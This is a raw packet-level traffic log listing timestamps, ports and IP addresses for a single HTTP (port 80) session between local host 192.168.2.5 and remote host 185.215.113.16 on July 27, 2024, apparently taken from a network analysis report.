Jul 27, 2024 12:01:22.944124937 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.944124937 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.944176912 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.944192886 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.944207907 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.944272041 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.944272041 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.944509029 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.944565058 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.944580078 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.944629908 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.944645882 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.944662094 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.944703102 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.944706917 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.944706917 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.944706917 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.944706917 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.944875002 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.944890976 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.944906950 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.944931030 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.944931030 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.944972992 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.945008039 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.945008039 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.945089102 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.945105076 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.945122957 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.945138931 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.945156097 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.945168018 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.945168018 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.945216894 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.945216894 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.945348978 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.945365906 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.945382118 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.945400000 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.945415974 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.945432901 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.945450068 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.945450068 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.945450068 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.945477962 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.945513010 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.945513964 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.945513964 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.945565939 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.945583105 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.945600033 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.945616961 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.945632935 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.945647955 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.945679903 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.945679903 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.945681095 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.945681095 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.945769072 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.945888042 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.945904970 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.945920944 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.945935965 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.945952892 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.945969105 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.945981026 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.945981026 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.945981026 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.945981026 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.945985079 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.946089029 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.946089983 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.946089983 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.946218014 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.946233034 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.946248055 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.946264029 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.946279049 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.946294069 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.946309090 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.946331024 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.946331024 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.946331024 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.946413994 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.946436882 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.946436882 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.946487904 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.946504116 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.946590900 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.946590900 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.946628094 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.946643114 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.946660995 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.946676970 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.946693897 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.946795940 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.946795940 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.946795940 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.946847916 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.946863890 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.946878910 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.946894884 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.946955919 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.946955919 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.946955919 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.946980953 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.946996927 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.947078943 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.947078943 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.968245029 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.968297958 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.968332052 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.968377113 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.968442917 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.968477011 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.968512058 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.968528032 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.968549967 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.968579054 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.968612909 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.968646049 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.968728065 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.968760014 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.968794107 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.968827963 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.968842983 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.968842983 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.968842983 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.968843937 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.968862057 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.968897104 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.969074011 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.969106913 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.969139099 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.969172955 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.969182968 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.969182968 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.969182968 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.969182968 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.969206095 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.969239950 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.969274044 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.969306946 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.969312906 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.969314098 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.969341040 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.969376087 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.969439030 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.969471931 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:22.969672918 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.969672918 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:22.969672918 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.029863119 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.029933929 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.029936075 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.029989004 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.029999971 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.030023098 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.030030966 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.030070066 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.030073881 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.030107975 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.030148983 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.030148983 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.030159950 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.030193090 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.030227900 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.030231953 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.030249119 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.030260086 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.030293941 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.030327082 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.030361891 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.030374050 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.030375004 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.030375004 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.030375004 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.030399084 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.030817986 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.030817986 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.031034946 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.031090021 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.031122923 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.031269073 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.031301975 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.031326056 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.031326056 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.031333923 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.031377077 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.031377077 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.031385899 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.031418085 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.031450987 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.031469107 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.031469107 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.031469107 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.031486988 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.031522036 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.031557083 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.031560898 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.031560898 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.031560898 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.031593084 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.031625986 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.031662941 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.031662941 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.031682014 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.032197952 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.032284021 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.032439947 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.032507896 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.032521963 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.032557964 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.032641888 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.032675028 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.032707930 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.032721043 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.032721043 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.032721043 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.032721043 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.032795906 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.032828093 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.032860994 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.032893896 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.032902956 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.032902956 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.032902956 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.032902956 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.032927036 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.032963991 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.032970905 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.032970905 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.032999992 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.033045053 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.033045053 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.033138037 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.033170938 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.033188105 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.033205032 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.033237934 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.033272028 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.033277988 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.033277988 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.033277988 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.033305883 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.033340931 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.033385038 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.033385038 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.033385038 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.033572912 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.033606052 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.033622026 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.033653975 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.033687115 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.033720016 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.033752918 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.033766031 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.033766031 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.033766985 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.033786058 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.033818960 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.033850908 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.033885002 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.033916950 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.033948898 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.033957005 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.033957005 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.033957005 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.033957958 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.033983946 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.034017086 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.034069061 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.034122944 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.034122944 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.034189939 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.034223080 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.034256935 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.034308910 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.034308910 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.034349918 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.034384012 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.034419060 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.034460068 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.034460068 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.034498930 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.034550905 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.034584045 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.034616947 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.034650087 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.034657955 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.034658909 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.034682035 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.034699917 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.034717083 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.034809113 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.034842014 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.034960032 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.034960032 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.034972906 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.035013914 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.035043001 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.035433054 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.055624962 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.055752993 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.055764914 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.055790901 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.055844069 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.055879116 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.055896997 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.055896997 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.055896997 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.055912018 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.055947065 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.055948973 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.055984020 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.055988073 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.056004047 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.056020021 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.056052923 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.056093931 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.056106091 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.056109905 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.056140900 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.056175947 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.056212902 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.056246042 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.056278944 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.056288958 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.056288958 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.056288958 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.056288958 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:01:23.056313992 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 12:01:23.056346893 CEST	80	49705	185.215.113.16	192.168.2.5
